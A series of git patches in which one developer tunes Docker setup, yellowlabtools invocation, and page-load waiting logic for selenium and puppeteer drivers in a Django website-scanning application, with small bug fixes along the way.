Subject: [PATCH 0158/1099] testing debug options

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 0edb7fae..be0a1446 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -18,7 +18,7 @@ def __init__(self, scan=None, configs=None):
     
     def init_audit(self):
         proc = subprocess.Popen([
-                'yellowlabtools', 
+                'DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From efbb05705e26ca606542d423d386f637fe322e75 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:14:36 -0500
Subject: [PATCH 0159/1099] testing debug options

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index be0a1446..2c0e5c7f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -18,7 +18,7 @@ def __init__(self, scan=None, configs=None):
     
     def init_audit(self):
         proc = subprocess.Popen([
-                'DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
+                'yellowlabtools DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From 4e65803cb28dfe8f7c85e5c83b4ce745d14896e5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:19:00 -0500
Subject: [PATCH 0160/1099] testing debug options

---
 app/api/utils/yellowlab.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2c0e5c7f..e952cbff 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -18,7 +18,9 @@ def __init__(self, scan=None, configs=None):
     
     def init_audit(self):
         proc = subprocess.Popen([
-                'yellowlabtools DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
+                'yellowlabtools',
+                'DEBUG=ylt:*', 
+                'node bin/cli.js',
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From c737ad90d4d4dc004e55370051dbc8b40cc8b0c1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:28:40 -0500
Subject: [PATCH 0161/1099] trying to install puppeteer globally

---
 Dockerfile | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 3c32d09f..9ee50e6e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,9 +34,6 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-# installing lighthouse & yellowlabtools -> yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -44,6 +41,12 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
+# try installing puppeteer before yellowlabs
+RUN npm install -g puppeteer
+
+# installing lighthouse & yellowlabtools -> yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version

From 9a53c8fc213912adb46b6d71a58b3a7dfaf0570c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:42:12 -0500
Subject: [PATCH 0162/1099] testing new config

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9ee50e6e..e5ff558f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,10 +35,10 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
 # telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+# ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
 # telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+# ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # try installing puppeteer before yellowlabs

From f73f05e432b7838c39f423fe9429ce99c42f8f7b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:51:50 -0500
Subject: [PATCH 0163/1099] new configs

---
 Dockerfile                 | 4 ++--
 app/api/utils/yellowlab.py | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e5ff558f..9ee50e6e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,10 +35,10 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
 # telling Puppeteer to skip installing Chrome
-# ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
 # telling phantomas where Chromium binary is and that we're in docker
-# ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # try installing puppeteer before yellowlabs
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e952cbff..c5b2c857 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -19,7 +19,7 @@ def __init__(self, scan=None, configs=None):
     def init_audit(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
-                'DEBUG=ylt:*', 
+                'DEBUG=*', 
                 'node bin/cli.js',
                 self.page.page_url,
                 f'--device={self.configs["device"]}'

From a1d8b9d6d5518be0964815522056ab39779f61d0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:59:45 -0500
Subject: [PATCH 0164/1099] dropped version of yellowlab back to 2.2.0

---
 Dockerfile | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9ee50e6e..c03f0c3e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,6 +34,9 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
+# installing lighthouse & yellowlabtools -> yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -41,12 +44,6 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
-# try installing puppeteer before yellowlabs
-RUN npm install -g puppeteer
-
-# installing lighthouse & yellowlabtools -> yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version

From 68aaad05280d5eab55dd82fe47a7b4d3c773ba15 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 11:06:00 -0500
Subject: [PATCH 0165/1099] removed debug configs

---
 app/api/utils/yellowlab.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c5b2c857..864436a4 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -19,8 +19,6 @@ def __init__(self, scan=None, configs=None):
     def init_audit(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
-                'DEBUG=*', 
-                'node bin/cli.js',
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From 0f921a80ef479cf727bbb0d6c8937daf4f37b46b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 11:13:17 -0500
Subject: [PATCH 0166/1099] cleaning things up

---
 Dockerfile             | 25 ++++++++++++-------------
 docker-compose.dev.yml | 16 ----------------
 2 files changed, 12 insertions(+), 29 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c03f0c3e..16550b0b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,17 @@
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=262000
+ENV NODE_OPTIONS="--max-old-space-size=262000"
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV DOCKERIZED yes
+
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -26,24 +37,12 @@ RUN apt-get update && apt-get install -y libfreetype6 \
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n && n lts
 
+# cleaning npm
 RUN npm cache clean --force
 
-# increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=262000"
-RUN node --stack-size=262000
-ENV NODE_OPTIONS=--max_old_space_size=262000
-ENV NODE_OPTIONS="--max-old-space-size=262000"
-
 # installing lighthouse & yellowlabtools -> yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 039094e5..f6f120a9 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,22 +61,6 @@ services:
       - db
 
 
-  # yellowlab:
-  #   container_name: yellowlab
-  #   privileged: true
-  #   restart: always
-  #   image: ousamabenyounes/yellowlabtools
-  #   ports:
-  #     - "8383"
-  #   env_file:
-  #     - ./env/.env.dev
-  #   depends_on:
-  #     - redis
-  #     - app
-  #     - celery
-  #     - db
-
-
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx

From 6b83eeeb848fe185c43b74a9ec50c70abb9bcc7b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:15:16 -0500
Subject: [PATCH 0167/1099] testing new driver wait methods

---
 app/api/utils/driver_p.py | 23 ++++++++++++-
 app/api/utils/driver_s.py | 70 +++++++++++++++++++++++++++++++--------
 app/api/utils/image.py    |  8 +++--
 app/api/utils/scanner.py  | 40 +++++++++++++---------
 4 files changed, 108 insertions(+), 33 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 13472dba..90d92df0 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -23,7 +23,7 @@ async def driver_init(
             'width': int(sizes[0]),
             'height': int(sizes[1]), 
         },
-        'timeout': wait_time * 1000
+        # 'timeout': wait_time * 1000  # replaced by 
     }
 
     driver = await launch(
@@ -49,6 +49,27 @@ async def interact_with_page(page):
 
 
 
+async def wait_for_page(page, max_wait_time=30):
+    """
+    Expcets the puppeteer page instance and waits 
+    for either the page to fully load or the max_wait_time
+    to expire before returning.
+
+    Returns -> Page <pypt:instance>
+    """
+
+    print(f'waiting for page load or {str(max_wait_time)} seconds')
+
+    timeout = 0
+    page_state = 'loading'
+
+    while timeout < max_wait_time and page_state != 'complete':
+        page_state = await page.evaluate('document.readyState')
+        print(f'document state is {page_state}')
+        time.sleep(1)
+        timeout += 1
+
+    return page
 
 
 
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 061b5e92..ba109bbd 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -6,11 +6,11 @@
 
 
 def driver_init(
-    window_size='1920,1080', 
-    device='desktop',
-    script_timeout=30,
-    load_timeout=30,
-    wait_time=15, 
+        window_size='1920,1080', 
+        device='desktop',
+        script_timeout=30,
+        load_timeout=30,
+        wait_time=15, 
     ):
 
     sizes = window_size.split(',')
@@ -47,9 +47,9 @@ def driver_init(
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
     driver = webdriver.Chrome(options=options)
-    driver.set_page_load_timeout(load_timeout)
-    driver.set_script_timeout(script_timeout)
-    driver.implicitly_wait(wait_time)
+    # driver.set_page_load_timeout(load_timeout)
+    # driver.set_script_timeout(script_timeout)
+    # driver.implicitly_wait(wait_time)
 
     
     return driver
@@ -122,24 +122,28 @@ def interact_with_page(driver):
 
 
     resolved = False
+    page_state = 'loading'
     wait_time = 0
 
     # actions before comparing network logs
     interact_with_page(driver)
     time.sleep(min_wait_time)
 
-    while not resolved and wait_time < max_wait_time:
+    while wait_time < max_wait_time and page_state != 'complete':
         # get first set of logs
-        list_one = get_request_list(driver=driver)
+        # list_one = get_request_list(driver=driver)
         
         # wait 5 sec or <interval:int> sec for request to resolve
         time.sleep(interval)
         
         # get second set of logs
-        list_two = get_request_list(driver=driver)
+        # list_two = get_request_list(driver=driver)
         
         # check if logs are equal
-        resolved = numpy.array_equal(list_one, list_two)
+        # resolved = numpy.array_equal(list_one, list_two)
+
+        page_state = driver.execute_script('document.readyState')
+        print(f'document state is {page_state}')
         
         wait_time += interval
 
@@ -147,11 +151,49 @@ def interact_with_page(driver):
 
 
 
+def get_data(driver, max_wait_time):
+    """
+    Expects the driver instance and max_wait_time <int> 
+    then returns both the page-source (html) and console-logs (logs).
+
+    Method waits for the allocated `max_wait_time`
+    before continuing with data collection.
+
+    Returns -> data = {
+        "html": <str>,
+        "logs": <dict>
+    }
+    """
+    timeout = 0
+    page_state = 'loading'
+    html = None
+    logs = None
+
+    while timeout < max_wait_time and page_state != 'complete':
+        page_state = driver.execute_script('document.readyState')
+        print(f'document state is {page_state}')
+        time.sleep(1)
+        timeout += 1
+
+    try:
+        html = driver.page_source()
+        logs = driver.get_log('browser')
+    except Exception as e:
+        print(e)
+
+    data = {
+        "html": html,
+        "logs": logs
+    }
+
+    return data
+
+
 
 def quit_driver(driver):
-    ''' 
+    """ 
     Quits and reaps all child processes in docker
-    '''
+    """
     print('Quitting session: %s' % driver.session_id)
     driver.quit()
     try:
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index a6684863..ba08f828 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1,5 +1,5 @@
 from .driver_s import driver_init, driver_wait, quit_driver
-from .driver_p import driver_init as driver_init_p
+from .driver_p import driver_init as driver_init_p, wait_for_page
 from selenium import webdriver
 from ..models import Site, Scan, Test, Mask
 from selenium.webdriver.chrome.options import Options
@@ -323,12 +323,15 @@ def get_page():
         
         page_options = {
             'waitUntil': 'networkidle0', 
-            'timeout': int(self.configs.get('max_wait_time', 30))*1000
+            # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
         }
 
         # requesting page_url to get height of 
         await page.goto(_page.page_url, page_options)
 
+        # waiting for page to load
+        await wait_for_page(page=_page)
+
         # getting full page_height
         page_height = int(sizes[1])
         if self.configs.get('auto_height', True):
@@ -435,6 +438,7 @@ def save_image(*args, **kwargs):
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+                await wait_for_page(page=_page)
             
                 # get screenshot
                 await page.screenshot({'path': f'{pic_id}.png'})
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b719d292..28e27ad9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -1,5 +1,5 @@
 from .driver_s import driver_init as driver_s_init, quit_driver
-from .driver_s import driver_wait
+from .driver_s import driver_wait, get_data as get_s_driver_data
 from .driver_p import get_data
 from ..models import *
 from .automations import automation
@@ -79,24 +79,28 @@ def first_scan(self):
         
         if self.configs['driver'] == 'selenium':
             self.driver.get(self.page.page_url)
+            s_driver_data = get_s_driver_data(
+                driver=self.driver, 
+                max_wait_time=self.configs['max_wait_time']
+            )
             if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = self.driver.page_source
+                html = s_driver_data['html']
             if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = self.driver.get_log('browser')
+                logs = s_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
                 images = Image(scan=self.scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
-            driver_data = asyncio.run(
+            p_driver_data = asyncio.run(
                 get_data(
                     url=self.page.page_url, 
                     configs=self.configs
                 )
             )
             if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = driver_data['html']
+                html = p_driver_data['html']
             if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = driver_data['logs']
+                logs = p_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
                 images = asyncio.run(Image(scan=self.scan, configs=self.configs).scan_p())
         
@@ -157,24 +161,28 @@ def second_scan(self):
         
         if self.configs['driver'] == 'selenium':
             self.driver.get(self.page.page_url)
-            if 'html' in second_scan.type or 'full' in second_scan.type:
-                html = self.driver.page_source
-            if 'logs' in second_scan.type or 'full' in second_scan.type:
-                logs = self.driver.get_log('browser')
+            s_driver_data = get_s_driver_data(
+                driver=self.driver, 
+                max_wait_time=self.configs['max_wait_time']
+            )
+            if 'html' in self.scan.type or 'full' in self.scan.type:
+                html = s_driver_data['html']
+            if 'logs' in self.scan.type or 'full' in self.scan.type:
+                logs = s_driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
                 images = Image(scan=self.second_scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
-            driver_data = asyncio.run(
+            p_driver_data = asyncio.run(
                 get_data(
                     url=self.page.page_url, 
                     configs=self.configs
                 )
             )
             if 'html' in second_scan.type or 'full' in second_scan.type:
-                html = driver_data['html']
+                html = p_driver_data['html']
             if 'logs' in second_scan.type or 'full' in second_scan.type:
-                logs = driver_data['logs']
+                logs = p_driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
                 images = asyncio.run(Image(scan=self.second_scan, configs=self.configs).scan_p())
         
@@ -465,18 +473,18 @@ def _html_and_logs(scan_id, test_id, automation_id):
 
         if scan.configs['driver'] == 'puppeteer':
             
-            driver_data = asyncio.run(
+            p_driver_data = asyncio.run(
                 get_data(
                     url=scan.page.page_url, 
                     configs=scan.configs
                 )
             )
             if 'html' in scan.type or 'full' in scan.type:
-                html = driver_data['html']
+                html = p_driver_data['html']
                 scan = Scan.objects.get(id=scan_id)
                 save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
-                logs = driver_data['logs']
+                logs = p_driver_data['logs']
                 scan = Scan.objects.get(id=scan_id)
                 scan.logs = logs
                 scan.save()

From 28439d422e50a82eebc2584335fe43731949a8e9 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:28:03 -0500
Subject: [PATCH 0168/1099] new method for gatherinmg selenium html and logs
 data

---
 app/api/utils/scanner.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 28e27ad9..d561270b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -460,12 +460,16 @@ def _html_and_logs(scan_id, test_id, automation_id):
                 device=scan.configs['device']
             )
             driver.get(scan.page.page_url)
+            s_driver_data = get_s_driver_data(
+                driver=self.driver, 
+                max_wait_time=self.configs['max_wait_time']
+            )
             if 'html' in scan.type or 'full' in scan.type:
-                html = driver.page_source
+                html = s_driver_data['html']
                 scan = Scan.objects.get(id=scan_id)
                 save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
-                logs = driver.get_log('browser')
+                logs = s_driver_data['logs']
                 scan = Scan.objects.get(id=scan_id)
                 scan.logs = logs
                 scan.save()

From e5397151bc94e4953fb6401331dd152c15f823af Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:31:37 -0500
Subject: [PATCH 0169/1099] removed self bug

---
 app/api/utils/scanner.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index d561270b..084809c5 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -461,8 +461,8 @@ def _html_and_logs(scan_id, test_id, automation_id):
             )
             driver.get(scan.page.page_url)
             s_driver_data = get_s_driver_data(
-                driver=self.driver, 
-                max_wait_time=self.configs['max_wait_time']
+                driver=driver, 
+                max_wait_time=scan.configs['max_wait_time']
             )
             if 'html' in scan.type or 'full' in scan.type:
                 html = s_driver_data['html']

From 16f4b1664a30f3391173225dde9f7b19b61ea1eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:37:49 -0500
Subject: [PATCH 0170/1099] new driver wait configs

---
 app/api/utils/driver_p.py | 7 +++++--
 app/api/utils/driver_s.py | 4 ++--
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 90d92df0..7aa271f8 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -51,7 +51,7 @@ async def interact_with_page(page):
 
 async def wait_for_page(page, max_wait_time=30):
     """
-    Expcets the puppeteer page instance and waits 
+    Expects the puppeteer page instance and waits 
     for either the page to fully load or the max_wait_time
     to expire before returning.
 
@@ -114,8 +114,10 @@ async def get_data(url, configs, *args, **options):
 
     page_options = {
         'waitUntil': 'networkidle0', 
-        'timeout': configs['max_wait_time']*1000
+        # 'timeout': configs['max_wait_time']*1000
     }
+
+    
     viewport = {
         'width': int(sizes[0]),
         'height': int(sizes[1]),
@@ -190,6 +192,7 @@ def record_error(error):
     await page.goto(url, page_options) 
 
     # await page.waitForNavigation(navWaitOpt)
+    await wait_for_page(page=page)
     await interact_with_page(page)
     html = await page.content()
     
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index ba109bbd..f3cb8bfc 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -142,7 +142,7 @@ def interact_with_page(driver):
         # check if logs are equal
         # resolved = numpy.array_equal(list_one, list_two)
 
-        page_state = driver.execute_script('document.readyState')
+        page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
         
         wait_time += interval
@@ -170,7 +170,7 @@ def get_data(driver, max_wait_time):
     logs = None
 
     while timeout < max_wait_time and page_state != 'complete':
-        page_state = driver.execute_script('document.readyState')
+        page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
         time.sleep(1)
         timeout += 1

From e2b8214d19772fc7dcdf7fa59e6df01773bf03dd Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:45:35 -0500
Subject: [PATCH 0171/1099] fixed minor formatting bug

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index f3cb8bfc..8dc42686 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -176,7 +176,7 @@ def get_data(driver, max_wait_time):
         timeout += 1
 
     try:
-        html = driver.page_source()
+        html = driver.page_source
         logs = driver.get_log('browser')
     except Exception as e:
         print(e)

From fe0c2559babb6ac02e1c6d939799d6139b73c094 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 13:13:31 -0500
Subject: [PATCH 0172/1099] fixed some small bugs

---
 app/api/utils/driver_p.py | 1 -
 app/api/utils/image.py    | 4 ++--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 7aa271f8..cedbf86e 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -117,7 +117,6 @@ async def get_data(url, configs, *args, **options):
         # 'timeout': configs['max_wait_time']*1000
     }
 
-    
     viewport = {
         'width': int(sizes[0]),
         'height': int(sizes[1]),
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index ba08f828..789b9690 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -330,7 +330,7 @@ def get_page():
         await page.goto(_page.page_url, page_options)
 
         # waiting for page to load
-        await wait_for_page(page=_page)
+        await wait_for_page(page=page)
 
         # getting full page_height
         page_height = int(sizes[1])
@@ -438,7 +438,7 @@ def save_image(*args, **kwargs):
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
                 time.sleep(int(self.configs.get('min_wait_time', 10)))
-                await wait_for_page(page=_page)
+                await wait_for_page(page=page)
             
                 # get screenshot
                 await page.screenshot({'path': f'{pic_id}.png'})

From 972365611342a7589e80ec3224759af66a64b726 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 4 Jan 2024 13:32:58 -0700
Subject: [PATCH 0173/1099] added exception handeling for resource cleanup

---
 app/api/tasks.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d0277d24..346b1c87 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -425,8 +425,8 @@ def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
-    except:
-        pass
+    except Exception as e:
+        print(e)
     return
 
 @shared_task
@@ -442,8 +442,8 @@ def delete_scan_s3_bg(scan_id, site_id, page_id):
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
-    except:
-        pass
+    except Exception as e:
+        print(e)
     return
     
 
@@ -460,8 +460,8 @@ def delete_test_s3_bg(test_id, site_id, page_id):
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
-    except:
-        pass
+    except Exception as e:
+        print(e)
     return
 
 

From a192992342815d18cea38b387adaa232a3473b8f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 10 Jan 2024 08:38:12 -0700
Subject: [PATCH 0174/1099] updated comment

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 16550b0b..96acc519 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -40,7 +40,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing lighthouse & yellowlabtools -> yellowlabtools
+# installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 

From ecbab7cbf5967ba175f1472315c5a5db96a527d5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 10:43:14 -0700
Subject: [PATCH 0175/1099] fixed 'lean' attr for scans and tests

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7339b29f..51242d7c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -974,7 +974,7 @@ def get_scans(request):
     result_page = paginator.paginate_queryset(scans, request)
     serializer_context = {'request': request,}
     serialized = ScanSerializer(result_page, many=True, context=serializer_context)
-    if lean is not None:
+    if str(lean).lower() == 'true':
         serialized = SmallScanSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -1462,7 +1462,7 @@ def get_tests(request):
     result_page = paginator.paginate_queryset(tests, request)
     serializer_context = {'request': request,}
     serialized = TestSerializer(result_page, many=True, context=serializer_context)
-    if lean is not None:
+    if str(lean).lower() == 'true':
         serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
         
     response = paginator.get_paginated_response(serialized.data)
@@ -2559,7 +2559,7 @@ def get_testcases(request):
     result_page = paginator.paginate_queryset(testcases, request)
     serializer_context = {'request': request,}
     serialized = TestcaseSerializer(result_page, many=True, context=serializer_context)
